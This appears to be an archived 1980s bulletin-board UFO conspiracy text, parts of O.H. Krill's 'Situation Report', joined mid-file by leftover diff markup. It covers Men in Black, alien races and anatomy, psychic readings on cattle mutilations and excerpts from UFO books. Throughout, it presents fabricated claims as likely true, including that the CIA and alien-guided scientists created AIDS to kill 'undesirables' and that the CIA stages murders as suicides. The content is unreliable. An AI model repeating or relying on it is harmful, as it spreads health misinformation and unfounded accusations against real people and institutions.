A lot of descriptions of some of these "folks" are pretty
bizarre. A businessman's family in Wildwood, New Jersey, was
visited by an unusually large man whose pants legs hiked up when
he sat down, revealing a green wire grafted onto his skin and
running up his leg.
There are other cases of MIB appearing on the other side of a
wet, muddy field after a heavy rain, but having no mud whatever on
their brightly shined shoes and in the bitter cold, out of
nowhere, wearing only a thin coat. Their shoes and wallets all
seem new and hardly broken in.
They are not alone. They seem to have faceless conspirators
in the nation's post offices and phone companies. Researchers and
witnesses often report their mail going astray at an unusually
high rate and being bothered by bizarre phone calls where they are
spoken to by metallic, unhuman-sounding voices.
Unusual noises on the phone, intensifying whenever UFOs are
mentioned, and voices breaking in on conversations, have all led
many people to suspect that their phones are being tapped.
One can't discuss the MIB for long without mentioning the
name of John A. Keel, an author who has written much about them.
Keel has done more than any other writer to publicize this bizarre
aspect of the UFO situation. Keel suggests that the UFO are part
of the environment itself and come from another time-space
continua; that most of the UFO phenomena is psychic and
psychological rather than physical. Well, I personally would not
define it that way, although those two components are certainly
deeply involved in what's going on.
The first noted appearance of the MIB was in 1947, at the
scene of the Maury Island incident, where some debris was ejected
from a disk, and subsequently recovered by officials, who loaded
them on an Army bomber which crashed on takeoff.
To illustrate a little how bizarre some of the incidents are
regarding the MIB, I have assembled a short list of some of the
more interesting factors in some cases:
o An ex-Air Force man is gassed and interrogated by MIB
after he has learned classified NASA secrets.
o Closeup photos of UFOs were seized from a teenager
who is also directly threatened by MIB.
o MIB sighted in the lobby of the U.S. State Department
leave a mysterious artifact.
o MIB pose as Air Force officers to silence witnesses.
o MIB tries to buy before-hours Coke and sings to birds
in trees.
o MIB disintegrates a coin in a witness' hand and tells
him that his heart will do the same if he talks.
****************************************************************
Throughout all this information, I have neglected to mention
some aspects of the psychology of the Greys. Dr. Paul Bennewitz,
in his original report to the government entitled "Project Beta,"
goes into some detail, which I will now discuss:
o The alien, either through evolvement or because the
humanoid types are "made," will exhibit tendencies
for bad logic. They appear to have more frailties
and weaknesses than the normal Homo Sapien.
o They are not to be trusted.
o Because of the aliens' apparent logic system, a key
decision cannot be made without higher clearance.
All are under control of what they call "The Keeper,"
yet it would appear that even this is not the final
authority. Delays as long as 12-15 hours can occur
for a decision.
o Because of this apparent control, individual
instantaneous decision-making by the alien is
limited. If the "plan" goes even slightly out of
balance or context, they become confused. Faced with
this, possibly, the humanoids would be the first to
run.
o Psychologically their morale is near disintegration.
There is pronounced dissension in the ranks -- even
with the humanoids.
o Because of their own internal vulnerability mind-wise
to each other, there is a basic lack of trust between
them.
o They appear to be totally death-oriented, and because
of this, absolutely death-fear oriented. This is a
psychological advantage.
o The prime, and weakest area discovered, probed and
tested is exactly what they have used, thinking it
their key strength -- that being the manipulation of
and control of the mind. Manipulated in reverse-
psychology they face a situation where they have a
vulnerable, integrated weakness.
o They totally respect force.
****************************************************************
Grey Physiology and Anatomy
The approximate height of most specimens is between 3.5 and
4.5 feet. The head, by human standards, is large in comparison
with the body. Facial features show a pair of eyes described as
large, sunken or deeply set, far apart or distended more than the
human, and slightly slanted as Oriental or Mongoloid. No ear lobes
or apertures on the side of the head were seen. The nose is vague.
One or tow holes have been mentioned. The mouth area is described
as a small slit or fissure. In some cases there is no mouth at
all. It appears not to function as a means for communication or
for food. The neck area is described as being thin, in some
instances not being visible at all because of the tightly-knit
garment. Most observers describe these humanoids as being
hairless. Some of the bodies recovered have a slight hair-patch
atop the head. Others have what appears to be like a silver
skullcap. There were no breathing attachments or communications
devices. This suggests telepathy with higher intelligence. In one
instance there was an opening in the right frontal lobe area,
revealing a crystalline network. This network implies the
development of a third brain.
The arms are described as long and thin, reaching down to the
knee section. The hangers each contain four fingers, with no
thumbs. Three fingers are longer than the other. Some are very
long. Some are very long. Others are very short. No description is
available of the legs and feet. Some pathologists indicate that
that section of the body was not developed as we would anticipate,
showing that some of these beings were adapted to life in the
water. There was a webbing effect between the fingers on most of
the specimens.
According to most observers, the skin is grey. Some claim it
is beige, tan or pinkish-grey. No reproductive organs or
capabilities were discovered. No phallus. No womb. Confirms
cloning mentioned by other sources. The humanoids appear to be
from a mold, sharing identical racial and biological
characteristics. There is no blood as we know it, but there is a
fluid which is greyish in color.
****************************************************************
The "Taxonomy of Extra-Terrestrial Humanoids," another
offering by George Andrews, yields some other observations:
o Working under the instructions of the humanoids
from Rigel (the Greys), CIA and former Nazi
scientists have developed and deployed malignant
strains of bacteria and viruses, including AIDS, in
order to exterminate undesirable elements of the
human population.
o The Greys are almost entirely devoid of emotions,
but can obtain a "high" by telepathically tuning in
the different kinds of intense human emotion, such
as ecstasy or agony. (Does that explain why UFOs
have always been seen in regions of war and human
conflict?)
o There are over 1,000 humans in the United States
alone who are the offspring of intergalactic or
extragalactic beings and terrestrial humans. (The
son of an acquaintance of [deleted in original]
is one.)
o Throughout recorded history, as well as during
prehistoric times, there has been constant genetic
manipulation of and interbreeding with humans in
order to breed out the less evolved simian traits.
The Nordic races have participated in this from the
beginning, and we are as much a part of them as we
might suppose.
o Greys have the ability to camouflage themselves as
tall Blonds through mental energy projection. Blonds
never project themselves as Greys. Some Blonds seen
with the Greys are physically real, but are
prisoners of the Greys who have either paralyzed
them or have destroyed their ability to teleport
through time and other dimensions. Note: A lot of
the material obtained by George Andrews has as its
source a Blond that is a time traveler that escaped
the Grey takeover of their system.
o Both Blonds and Greys have the ability to
disintegrate matter into energy and then
reintegrate the energy back into matter. This
ability allows them to pass through walls and to
transport abductees out of their cars with the
doors still locked.
o The original Rigelians were the Blonds until they
were invaded by the Greys, a parasitic race, who
took over and interbred with them. The original
Rigelians were the ones who seeded the earth. It
is because of this common ancestry that terrestrial
humanity is of such interest to both the Blonds and
the Greys.
o Terrestrial human females can be impregnated either
on board ship or while they sleep in their homes.
Males need not be manifested in visible form for
this to occur.
o The Blonds now habitate the Procyon system. The
conflict between the Blonds and the Greys is in a
state of temporary truce, although the conflict
between the Rigelian and the Sirius system is being
fought actively.
o The Blonds with speech abilities will respond
violently if attacked or threatened, but the
telepathic ones will respond peacefully.
o Blonds were sometimes mistaken for angels in
earlier centuries. They do not seem to age, and
consistently appear to be from 27 to 35 human years
old.
****************************************************************
Confused? Well, now you can see why the natural diversity of
the way things are are hard to sort out for the average
researcher. The probability that this information is true or
partially true remains fairly high, based on analysis of what we
know about abductions and general contact between humans and EBEs
that has been documented.
****************************************************************
Real Esoterica -- Sirius and the MIB
Let's regress for a moment back to the MIB. According to John
Keel, the MIB often state that they are representatives of the
"Nation of the Third Eye."
Based on some of the info we have already researched, it is
apparent that Sirius has been in contact with us for a long time.
According to George Hunt Williamson (one of the early contactees)
in his book "Other Tongues, Other Flesh," the earth allies of
Sirius, i.e., the secret societies, use the Eye of Horus as an
insignia. This symbol has also been seen on the MIB. Secret
societies believe that there is a Great White Lodge on earth. They
call it Shamballa -- and consider it to be the spiritual center of
the world. Now, theosophists such as Alice Bailey say that the
Great White Lodge is on Sirius. If the All-Seeing-Eye is a symbol
of Sirius' earth-allies and the MIB wear that symbol, and if
Shamballa represents the Great White Lodge on earth -- then the
MIB are emissaries of Shamballa. Sirius and Shamballa are two
sides of the same coin. This is verified in the book "The
Undiscovered Country," by Stephen Jenkins. Jenkins was told by
Buddhist priests that Shamballa was located in the constellation
of Orion.
The entrance to Shamballa on earth is usually placed in the
trans-Himalayan region. Some assert it is in the heart of the Gobi
Desert (where there have been allegations of crashed disks and
bases). According to the explorer Nicholas Roerich, there are
caves in the Himalayan foothills that have subterranean passages.
In one of the these passages, there is a stone door that has never
been opened, because the time for its opening has not yet arrived.
In 1930, Doreal founded the Brotherhood of the White Temple. He
says that the entrance to Shamballa is far underground. he goes on
to say that space bends around Shamballa, and that there is a warp
which leads into another universe.
****************************************************************
Let's get back to something we can have more of a direct
handle on. Many times psychics have been called upon by
investigative authorities to evaluate situations, and in many
cases what they have contributed has been very helpful.
This was done in the case of animal mutilations back in 1980
by Peter Jordan, who engaged several psychics to render their
impressions from photos and maps of mutilations and mutilation
areas. What follows is a condensation of what was found during
this exercise.
Name of Psychic: Ronald Mangravite
o This animal has been dead a few days.
o Some parts are decaying faster than others.
o There is an overload of electrolytes in the body
possibly due to injection of a citrate.
o Something wrong with blood. Picking up higher
portion of plasma which may be lymphatic fluid.
o Two men working on the animal. Very sharp surgical
knives.
o Men dressed in black. Jumpsuits. Shiny black nylon.
o Winch line coming down from chopper.
o Men are skilled ex-military.
o Something is going to be done with the tissue.
o Flurometry connection. Spectrophotometers.
o Choppers are brown or grey.
o Underground implications.
o Experimentation with different analytical techniques.
Name of Psychic: Elisabeth Lerner
o Paramilitary forces.
o A serious invasion of American privacy.
o Non-American Indians part of secret project.
o The word "Annide."
o The word "Carmine" or "Karmine."
o The symbol "dk."
o A new wave of mutilations will strike near southwest
New Mexico.
o The Hobart Company is involved in this.
(Refrigeration equipment?)
o Three huge, doughnut-shaped objects will be seen in
conjunction with these new mutilations.
o Breakthrough in research.
o Muscle relaxant injections.
o Someone with the name "Empeda."
o This is a Mexican operation.
o Names "Kielman" and "Kelman."
o Institution with many Lincoln Continentals and
Cadillacs.
o Laboratory underground.
o Lilly Pharmaceuticals.
o Roman numerals IVIII [sic].
o Name "Stephano."
o The number "1714."
o Last name "Audler."
o First name "Mase."
o Last name "Audli."
o Jet rocket labs nearby.
o Domes above the ground.
o Vehicle ID # MP 1936. Small jeeps.
o Last name "Plento."
o Initials "C.B.P." heads operation. Wears brown
military shoes. Army.
o Number "1161."
o Around an oil field.
o Place where oil crosses in an "X" pattern.
o Chemical engineering connections.
o Mustard.
o Periscope device on bottom of craft. Chopper called
"The Shark."
o Man with blond hair. English features. High forehead.
Wears square ring. Insignia reads "C.B.P." Has
something to do with ammunition. Colonel.
Name of Psychic: Nancy Fuchs
o Dusk scene. Men talking about some animal's throat.
Something missing.
o Cylindrical object.
o Long thick object inserted into jugular vein.
o Powerful energy flow emanating from device used to
kill cattle.
o Feeling of tremendous anger and hostility.
o Research implication. Minerals needed for research.
o Intimidation of rancher Gomez.
o Embryos.
o Thousands of samples needed for this breeding effect.
o Crossbreeding.
o Animal dies in seconds.
o Jolts of electricity through animal.
o Breeding and genetics involved.
o Army background.
o Liquid-filled shoes leave no prints.
o Marshall. Army. Cap with black rim and gold braid.
Pompous. White-haired. Very influential. Walks into
Pentagon whenever he pleases. Commission given 15-18
years ago for mutilation project when he was
overseas. Grand Marshall. Friend of General
MacArthur. Lives in Dakotas. Money invested. High-
priority issue. Tall. Heavyset. Only 17 people know
of this.
o Project with $2.5 million allocated early in game for
breeding experimentation. Late 1960s through
Pentagon. More and more money invested every year.
o Land wanted. Want to destroy ranchers prime source
of income.
o John Mitchell connected to this.
o Howard Hughes.
o Uranium connection.
o Picture complex. Faction-ridden.
o Interest in speeding up growth of cattle.
o Importance of pancreas.
****************************************************************
Well, there you have that little presentation. I don't know
what exactly to make of it, but there it is. Certainly a non-UFO
implication here, however, it only relates to THREE mutilations.
How about the other 10,000 -- most of which have the UFO
connection? What did I tell you about a multi-level reality?
****************************************************************
At this point, I will put some references and excerpts from
some volumes that I believe are relevant to all the things we've
been talking about. Where I feel it is applicable, I will comment
on them.
"The Goblin Universe"
(p222) The ability to materialize mental constructs is not
unknown. Suppose one creates a field with the mind that is strong
enough to attract supercharged particles. The particles are real
but unstable in their assemblage since the stability depends on
the intermediate mental component.
(p223) Physical aspect of UFOs and other phenomena lie in the
behavior of electromagnetic fields.
(p124) If all UFO incidents were chance encounters, someone
would have obtained a filmed record or a series of stills years
ago. The only way that such episodes can be engineered so that
they remain total mysteries is for the entities to have advance
knowledge of any situation before it occurs.
(p117, referencing John Keel) These entities labor to
cultivate belief in various frames of reference, and then they
create new manifestation which support those beliefs.
(p120) Illness is common after close contact with some
beings.
(p122) Guy Underwood classified primary geomagnetic currents
into three classes: water lines, aquastats, and track lines. Some
magnetic signals appear as spirals, others are linear. Gnats and
flies congregate above magnetic patterns.
****************************************************************
"Extra-Terrestrials Among Us"
(p2-3) On several occasions after UFOs flew over missile
sites, it was found that the targeting of the missiles had
changed, and the warheads had to be replaced.
(p3) On 22 June 1980 a UFO that was 10 miles in diameter was
reported over the Kuwait oil fields.
(p4) On July 30, 1985, a UFO over Mongolia that was 10 km in
diameter was reported heading south. It was sighted by a Chinese
jet and reported in the "Japan Times." The Unites States ignored
this report.
(p8) JANAP-146 specifies up to 10 years in prison and $10,000
in fines for anyone in government service who makes unauthorized
public statements about UFO phenomena. The British Official
Secrets Act makes similar provisions.
(p9) Many routes of UFOs take the form of an isosceles
triangle.
(p16) On September 14, 1978, a UFO as big as an ocean liner
flew over Italy, and over Rome on the 15th and 16th.
Comment: This was two weeks before Pope John Paul I was found
dead under suspicious circumstances. He was killed between
September 28-29. Autopsy was refused. It was rumored he intended
to reveal the Fatima message of 1917.
(p 20) UFOs dart around in daylight at speeds which cannot be
seen.
(p22) An individual having one CE experience usually has
another.
(p24) There is no basis to support psychiatric pathology for
UFO witnesses.
(p24) Dr. Brian T. Clifford (Pentagon) announces on October
5, 1982, that contact between U.S. citizens and extraterrestrials
on their vehicles is illegal. Title 14, Section 1211 of the Code
of Federal Regulations (adopted July 16, 1969, before the first
manned lunar landing) says that anyone guilty of this becomes a
wanted criminal to be jailed for one year and fined $5,000. The
NASA administrator is empowered to determine WITH OR WITHOUT A
HEARING that a person has been "ET-exposed" and impose
INDETERMINATE quarantine under armed guard, which cannot be broken
even by court order.
(p89) Mars has a history of transient phenomena.
(p90) Temporary brilliant spots on Mars were reported by
astronomers in 1890, 1892, 1900, 1911, 1924, 1937, 1952, 1954,
1967, and 1971. The distribution was non-random. Intensely dark
spots, transient in nature, were reported on Mars in 1925, 1952,
and 1954.
(p93) About 33% of abductees are able to remember the
experiences without hypnotic regression. 66% of the abductees were
alone when abducted.
(p94) Some abductees did not return but vanished permanently
or were found dead after a UFO encounter.
(p25) Records of the 687 B.C. battle between the Assyrians
and the Hebrews indicate that "a blast from heaven" reduced the
bodies of 185,000 Assyrians to ashes but left their clothes
intact.
(p145) Morris K. Jessup died under mysterious circumstances
after a copy of his book "Case for the UFO" was sent to the Chief
of the Office of Naval Research (ONR) in Washington.
(p146 -- comments from "Case for the UFO")
o Falls from the sky of flesh, blood, reptiles, etc.,
were due to either spoiled food or cleaning of
holding tanks.
o Comments describe TWO different space races who share
the planet with us without our knowledge. They are
not visitors -- they have been here longer than we
have. They feel more at ease in the ocean.
o The little men were almost wiped out by a serpent
race identified only as the "S-men." S-men are
ravenous for red meat, extremely materialistic, and
are greedy for power. Comment: Sounds like the Deros
of Shavarian fame.
(p147) Thanks to Allen Dulles in partnership with Reinhard
Gehlen, the Gestapo was transplanted intact into the United States
system as the CIA, without the knowledge or consent of American
citizens. Comment: Remember Reagan placing wreaths on graves of SS
stormtroopers at the 40th anniversary of WWII? Roots of that
symbolic gesture go deep.
(p147) Reference the Intelligence Identity Protection Act of
1981: Freedom to speak about anything but the CIA. Some claim that
concentration camps have already been built. Activation was sealed
by Executive Order Rex 84. The next REX exercise in in 1988.
(p148) Jessup: "I believe that space structures of 5-10 miles
in diameter are sufficiently large to produce intelligently
directed storms."
(p150) Alleged alien comment in annotated edition of "Case
for the UFO": "Men frozen helpless make good prey."
(p151) Dr. James E. McDonald thought that the Federal Power
Commission was evading the evidence concerning UFO involvement in
the total power failure that paralyzed New York on July 13, 1965,
and dared to say so in front of a Congressional committee.
(p152) On June 13, 1971, James E. McDonald was found dead
under mysterious circumstances, shot through the head with a
pistol by his side.
(p153) Murder disguised as suicide is one of the well-known
specialties of the CIA.
(p153) There is ample documentation suggesting that among the
highest-priority covert operations of the CIA are those supplying
heroin to the Mafia. The "war on drugs" is in fact a war on the
independent drug dealer who constitutes a threat to the Mafia
monopoly. Comment: Additional ways to subdue the population or
eliminate undesirables?
(p156) Karen Silkwood's murder disguised as auto accident.
(p159) George Adamski, contactee in the 1950s had a special
government passport. Possible CIA disinformation agent.
(p162) Although mutilations were reported in England as early
as 1904-1905, ("Winter of Weirdness"), the large-scale operations
there began in 1973.
(p163) A rancher and his sons saw a UFO as big as a hotel
which was accompanied by four smaller ones. Rectangular in shape,
300-400 feet long, and 60 feet high. A helicopter approached it
and turned into a small UFO.
(p163) Phantom cars appear on roads, follow people, and
disappear.
(p163) A rancher and his wife looked at a UFO 5/8 of a mile
away and reported that two appendages emerged from the egg-shaped
object.
(p164) Apparently UFOs have the capability of invisibility.
(p164) Materialization of a Bigfoot before a witness.
(p164) Dematerialization of Bigfoot before witness who shot
it with a 16-gauge shotgun at point-blank range into its stomach.
(p166) On August 21, 1975, a sheriff was chasing an unmarked
helicopter in his plane in southwestern Nebraska at 0430 when
the lights on the helicopter went out, and the only thing seem on
the ground was a missile silo.
(p166) About the time mutilations began in earnest (1973
wave), a new branch of science was beginning to develop --
biogeochemistry -- analysis of mineral and oil deposits by
analysis of tissues of herbivorous animals.
(p168) An elderly lady in Arkansas in 1979 injured herself
and was cut during a fall. The injuries were repaired by two
aliens, who gave her a piece of metal with pyramids and six-
pointed stars on it. The aliens told her they "consumed juice,"
but not the kind consumed by humans. Six weeks later, she was out
looking for her dog and spotted a horse lying on its side,
unconscious.
Two men in white, dressed like surgeons, were at work on the
horse. There were two Air Force helicopters parked in the
clearing, two men in Air Force uniforms, and the same two aliens
who had helped her after her fall. The lady was spotted by the
group and she was overtaken by a helicopter which flashed a blue
light on her which burned her clothing. Help arrived as the
helicopter retreated, and she was brought to the local hospital.
People having nothing to do with the hospital staff began turning
up to question her. After release she was harassed at all hours by
strangers who insisted on questioning her, repeating the same
questions over and over again. The couple moved to a different
state, only to have it start all over again. MUFON began
investigating this case, but as of 1986 had not yet made public
its conclusions. Research into the case began in 1980.
(p171) Tissue samples taken from a carcass revealed the
presence of chlorpromazine, a tranquilizer.
(p171 comment by Gabe Valdez) "Whoever is doing these
mutilations are highly organized and have a lot of resources."
(p172) The theory of biogeochemical basis for the mutilations
fails to account for the fact that mutilations are worldwide.
(p174) When FBI agent Rommel was given $50K to investigate
the mutilations in one district in New Mexico, all mutilations in
that district stopped during the year.
(p177) The Condon Report, Rommel Report, and the Warren
Report all have a resemblance.
(p177) The human tendency to avoid facing unpleasant facts
may allow parasitic entities to "farm us."
(p178) A seven-year-old heifer was found whose unborn calf
had been removed with breaking the placental bag.
(p181) U.S. Senate lied to by Pentagon in 1968 during Senate
hearings on UFOs.
(p200) In an anonymous letter to a Denver paper on April 8,
1983, it was told that the mutilations are being done by a secret
government group called Delta. Animal parts are used to test
effects of germ warfare and poison (cyanide and dioxin) they are
testing on civilians in America. Testing is associated with black
helicopters. Helicopters are also used to ferry heroin and
cocaine. Delta bases said to be all underground on Indian
Reservations. HQ for operations and where a lot of choppers are
based in 28 miles east of Albuquerque on I-40, then 14 miles north
on a dirt road into the Laguna Indian Reservation. Comment:
Disinformation attempt?
(p204, UPI story, February 2, 1984) Dr. James Womack at
Texas A&M University announced his discovery that humans share
"perfect match" chromosomes with cattle. The perfect match is with
portions of the 21st chromosome pair, a strand known to carry
characteristics of Mongolism or Down's Syndrome, associated with
mental retardation. Dr. Womack says, "We must have more in common
than previously believed."
(p205, 1984 letter) A recent arrival on the nutritional scene
is protomorphogens, or glandulars -- ground up glands of cattle. If
one takes these for a year you get "hooked" on them. Your own
glands stop producing hormones.
Many EBEs have no alimentary canals and no glands.
In some cancer clinics, these glandulars are used to treat
cancer victims, and so are glands from human fetuses.
(p206) What is happening with the mutilations would make
sense in human terms if the location on which the cattle grazed
was important, or the parts taken could be used geobiologically
(which they aren't).
(p208) UFOs are: Extraterrestrial, ultraterrestrial,
interdimensional, and time travelers.
(p208) Some UFOs behave as if the UFO itself was a living
organism. Comment: Refer to Trevor James Constable's book "Sky
Creatures," for a discussion of biological aeroforms, of "Flying
Saucers at Etibi-Raa," by Wendell Stevens for a discussion of just
that subject.
(p208) Entities with cyborg-like traits, having both
mechanical and biological features, turn up quite frequently in
reports.
(p208) It is odd that among the viruses there are some that
look like UFOs, like T. Bacteriophage. Do some UFO have the
ability to operate in the micro-dimension of viruses? Comment: In
the discipline of Yoga is noted the ability to become large or
small.
(p209) Anyone with more access to even one more dimension
than we have access to could evade our most carefully planned
investigations indefinitely.
(p210) Modern brain capacity: 1300cc
Cro-magnon man: 1400cc
Baskop man (megroid [sic] race): 1800cc
The last two appeared quite suddenly.
(p210) Theory of Max H. Flindt attributes paradoxically rapid
development of the human brain to interbreeding between primitive
humanity and ETs.
According to Flindt, schizophrenia is caused by subconscious
racial memory of the ET branch of the family tree, longing for
home. Considerable differences between glandular and nervous
systems between primitive humans and ETs would provide a basis for
traumatic tension associated with regressed memory.
(p210) Our civilization has forgotten the existence of other
intelligent beings in the universe.
(p211) The idea that Homo Sapiens is unique is becoming no
longer tenable.
****************************************************************
Digitized by, and available from, IllumiNet BBS 4043771141
<0>

834
textfiles.com/ufo/ufok4.txt Normal file
View File

@@ -0,0 +1,834 @@
(Part 4 of 4)
****************
* CONFIDENTIAL *
****************
A SITUATION REPORT ON OUR ACQUISITION OF ADVANCED
TECHNOLOGY AND INTERACTION WITH ALIEN CULTURES
by O.H. KRILL
Well, as if this weren't enough, let's examine the basic
allegations that were raised by Gary Stollman when he held an
empty BB gun to David Horowitz on KNBC Channel 4, Los Angeles, in
October, 1987. Gary clearly though that he was alone in his
knowledge, and evidently turned to desperation to have the public
become aware of what he knew. For the sake of brevity, I will
simply summarize the allegations, and make comments where I wish
to do so:
o His physical father is in fact a clone created by
the CIA and alien forces.
o Cloning is a part of a plot to overthrow the U.S
government.
o The CIA maintains mental-retraining hospitals.
o Phones were turned off at Rohlman Psychiatric
Hospital in Cincinnati for 48 hours after his
arrival.
o A former CIA official had an interview on KPFK radio
in which he told a college audience that the CIA has
towed barges across New York Harbor that were
disease-ridden.
o The CIA may have created the AIDS virus to wipe out
the gay population. Comment: Hmmm, where have we
heard THAT before?
o The CIA assassinated John F. Kennedy and the 22
material witnesses who died with two years. Comment:
Hmmmm, I have heard that as well.
o He demands that the Air Force release all
information on UFOs.
o He demands that the information about Hanger 18 at
Wright-Patterson [AFB] be released.
o He relates that he spoke to a girl at Florida Junior
College who told him that seven of her friends had
been "replaced."
o The CIA doesn't trust people on computers.
o Individuals at the Optimist Boys School in Pasadena
were recruited by others and given false IDs and
birth certificates.
o There is a secret group led by the President's own
staff.
o There are beings around with the power to teleport
instantly and do the same to others; who can read
and control minds, and transform matter into other
forms and create it at will.
o He asks for a congressional investigation and
federal protection.
o He states that he cannot harm anyone with an empty
BB gun.
****************************************************************
Well, what do you think? [Name deleted in original, replaced
with the word "MUFON"] contacted Mr. Stollman's lawyer in
December, 1987, and told him that some of what Gary had said may
be true. His lawyer promptly made himself scarce.
****************************************************************
For some of you who keep an eye on the news, the President
(Reagan) has said some mighty interesting things in some speeches
of his:
To the students of Fallston High School in Fallston, Maryland, on
December 4, 1985, he said:
"I couldn't but -- one point in our discussions with General
Secretary Gorbachev -- when you stop to think that we're all God's
children, wherever we may live in the world, I couldn't help but
say to him, just think how easy his task and mine might be in
these meetings that we held if suddenly there was a threat to this
world from some other species from another planet outside in the
universe. We'd forget all the little local differences that we
have between our countries and we would find out once and for all
that we really are all human beings on this earth together.
"Well, I don't suppose we can wait for some alien race to
come down and threaten us...."
To the 42nd General Assembly of the United Nations, September 21,
1987:
"In our obsession with antagonisms of the moment, we often
forget how much unites all the members of humanity. Perhaps we
need some outside universal threat to make us recognize this
common bond. I occasionally think how quickly our differences
worldwide would vanish if we were facing an alien threat from
outside this world. And yet, I ask you, is not an alien force
already among us? What could be more alien to the universal
aspirations of our peoples than war and the threat of war?"
Comment: Apparently Mr. Reagan doesn't realize that war is NOT
alien to the aspirations of peace -- it's always been here.
****************************************************************
Does Mr. Reagan know something that we know but the general public
doesn't know about what is happening and what will happen within
the next five years?
General Types of Entities
The Greys are known to be of three types:
o Grey 1: 3.5 feet tall. Large head. Large slanted eyes. Worship
Technology and don't care about us. Type popularized in
"Communion" by Strieber.
o Grey 2: Same general appearance, although has a different
finger arrangement and a slightly different face.
More sophisticated than Grey 1. They possess a degree
of common sense and are somewhat passive. It is not
known if they require the secretions needed by Grey 1.
o Grey 3: Same basic type. Lips thinner. Subservient to other
two types.
Other entities known to frequent this planet:
o Blonds/Swedes/Nordics: Known by any of these names. Similar to
us. Blond hair, blue eyes. Will not break law of non-
interference to help us. Would only intervene if the
Greys' activity would affect other parts of the
universe.
o Interdimensional: Entities that can assume a variety of shapes.
Basically of a peaceful nature.
o Short Humanoids: 1.5 to 2.5 feet tall, skin bluish in color.
Seen quite frequently in Mexico near Chihuahua.
o Hairy Dwarfs: 4 feet tall. Weigh about 35 pounds. Hairy.
Neutral. Respect intelligent life.
o Very Tall Race: Look like us but 7-8 feet tall. United with
the Swedes.
o Nordic Clones: Appear similar to us but with grey tinge to their
skin. These are drones created by the Greys. Child-
like mentality.
o Men-In-Black (MIB): Oriental or olive-skinned. Eyes sensitive to
light. Eyes have vertical pupils. Very pale skin in
some types. Do not conform easily to our social
patterns. Usually wear black clothes, drive black cars,
and wear sunglasses. In groups they all dress alike.
Sometimes time-disoriented. they cannot handle a
psychological "curve-ball" or interruption to their
plan. Often intimidate UFO witnesses and impersonate
government officials. Equivalent of our CIA. From
another galaxy.
Although there are some 40 or more known types of aliens visiting
our world at the present time, these are the most commonly seen
types.
Extract of information from: "UFO Contact from Undersea,"
Sanchez/Stevens
Section 1: Regression session, Filiberto Cardenas (subject)
Event date: 3 January 1979 UFO CEIII
During the regression session(s) the following
information came forth:
1. Subject was taken to one of three pyramid bases. Two pyramid
bases are under ocean, one on land. Subject was taken to base
between Berin and Santiago of the coast of Chile. Other underwater
base is in the Atlantic in an unspecified location. The base was
entered through an underwater tunnel. The aliens stated that they
had been there 36 months at that time.
2. Aliens told the subject that there were six (6) other
individuals whom the aliens had contacted.
3. Subject stated that the aliens voiced that they were eventually
going to make themselves known to the world.
4. Aliens stated that they control the Chinese, and they have
provided the Chinese with a device that can "paralyze cities and
towns completely."
5. Aliens stated that the device will cause a change that "is
going to be something for which the world cannot wait." The
Chinese are to provoke certain unspecified changes, and that in
those changes, "people who are negative will disappear."
6. Subject remembers seeing (future) scenes of people running
disoriented along roads, and that there is a disaster coming.
7. Details of underwater tunnel described as walls of " firmed
water," not rock. The ship evidently generated a force field which
repelled the water around it.
8. Devices were supposedly installed in subject's head by aliens.
Subsequent x-rays revealed nothing.
(Session 3)
1. First contact with these groups of aliens began 4,000 years
ago.
2. It has been thousands of years since this group last descended
to earth.
3. If progress on earth does not continue, aliens will use more
forceful demonstrations to get their point across that we must
have peace and progress.
4. Subject was interrogated for 15 days after the events by US
security and intelligence services.
5. Information from aliens had also to do with "an atrocity in the
plans certain forces on earth had planned."
6. Subject was seven years old when contact with aliens first
occurred.
7. Aliens have ability to dematerialize their craft.
8. Aliens stated that we should beware of other alien groups who
will present themselves in a good light but if they pursue "bad
objectives against us they could do two things. They could destroy
this planet with the same arms that this planet has, or on the
contrary, transport away all our arms in one operation, which
would take no more than 20 minutes of our time. They can be
visible or not, whatever they choose."
8. [sic] Treatise references 81 other crossbreeds from (negative)
aliens who have performed duties on earth. Half alien-half
earthling = Crossbreed
9. Aliens spoke of great portions of land and whole cities will
[sic] disappear. Mexico City and major cities in California.
History and Operations -- Operation Trojan Horse
The amusing little mystery of flying saucers slowly evolves
into a complicated series of coincidences and paradoxes as we
plunge deeper and deeper into the data, excluding nothing, and
considering everything as objectively as possible.
Our skies have been filled with "Trojan Horses" throughout
history, and like the original Trojan Horse, the SEEM to conceal
hostile intent.
Several facts are now apparent:
o The objects have always chosen to operate in a
clandestine manner, furtively choosing the hours of
darkness for their enigmatic activities over thinly-
populated areas, where the possibility of being detected
is slight.
o The hostility factor is further supported by the fact
that the objects chose, most often, to appear in forms
which we can readily accept and explain to our own
satisfaction -- ranging from dirigibles to meteors and
conventional-appearing airplanes.
o The objects of unusual configuration, undoubtedly
constituting a deceptive minority of all the
paraphysical objects flitting about in our atmosphere.
In other words, flying saucers are not at all what we have
hoped they were. They are a part of something else. John A. Keel
called that something else "Operation Trojan Horse."
When one really digs into UFO literature, it readily becomes
clear that the ultraterrestrials deliberately conveyed whatever
impression that would meet the available frame of reference for
that time.
Until 1848, the religious frame of reference was constantly
used by the phenomenon. As man's technology improved many of our
old beliefs were discarded and the "phenomenon" was obliged to
update its manifestations and establish new frames of reference.
No more objects were seen in 1947 than had been seen in 1847. We
were simply seeing them in a new way. A new game was being played
with us.
A new game has emerged: the artifact or hardware game. The
phenomenon has always obliged us by planting false evidence all
over the landscape.
UFO cultists trapped themselves into a hopeless situation
almost from the outset. The apparent purpose of most of the
landings seems to have been to advance belief in the frame of
reference, not to provide absolute proof that the frame of
reference is authentic.
Physical Evidence
All kinds of junk have fallen out of the sky throughout
recorded history. Ivan T. Sanderson has in his files extensive
lists that go back to Roman times. Ridiculous things such as stone
pillars and heavy metal wheels have come crashing out of the blue,
and there are countless cases of ice blocks, some weighing
hundreds of pounds, dropping all over this planet. The flying
saucers have been spewing all kinds of trash all over the
landscape. In nearly every instance, these materials always prove
to be ordinary earthly substances like magnesium, aluminum,
chromium, and even plain old tin. Each of these incidents give the
skeptics new ammunition.
Mysterious hollow spheres have also been dropping out of the
sky all over the world. Three such spheres were found in the
Australian desert in 1963. They were about 14 inches in diameter
and had a shiny polished surface. Efforts to open the spheres
failed, and they were turned over to the USAF. Other metal spheres
have dropped out of the sky in Mexico (1967) and Conway, Arkansas
(1967). The Mexican steel ball was identified as titanium, the one
in Arkansas steel.
Smaller colored spheres were found scattered over the French
countryside in 1966-67, as if it had been raining balls there.
Where is all this stuff coming from? The same place as the stone
pillars and blocks of ice. Innumerable cases of contact and
landings have been flushed down the ufological drain because of
the deliberate "negative factors." Sincere witnesses have actually
